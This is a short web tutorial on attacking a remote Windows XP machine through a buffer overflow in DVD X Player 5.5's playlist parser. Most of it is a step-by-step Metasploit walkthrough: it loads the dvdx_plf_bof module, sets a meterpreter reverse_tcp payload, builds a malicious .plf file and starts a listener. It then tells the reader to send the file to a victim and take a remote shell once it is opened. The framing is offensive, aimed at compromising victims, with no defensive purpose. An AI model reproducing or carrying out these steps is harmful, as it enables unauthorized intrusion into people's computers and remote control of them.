How to Attack on Remote Windows PC using DVD X Player Exploit

DVD X Player 5.5 .plf PlayList Buffer Overflow

This module exploits a stack-based buffer overflow on DVD X Player 5.5 Pro and Standard. By supplying a long string of data in a plf file (playlist), the MediaPlayerCtrl.dll component will attempt to extract a filename out of the string, and then copy it on the stack without any proper bounds checking, which casues a buffer overflow, and results arbitrary code execution under the context of the user. This module has been designed to target common Windows systems such as: Windows XP SP2/SP3, Windows Vista, and Windows 7.

Exploit Targets

DVD X Player 5.5 Pro

Windows XP SP 2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/dvdx_plf_bof

Msf exploit (dvdx_plf_bof)>set payload windows/meterpreter/reverse_tcp

Msf exploit (dvdx_plf_bof)>set lhost (IP of Local Host)

Msf exploit (dvdx_plf_bof)>exploit

After we successfully generate the malicious File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.plf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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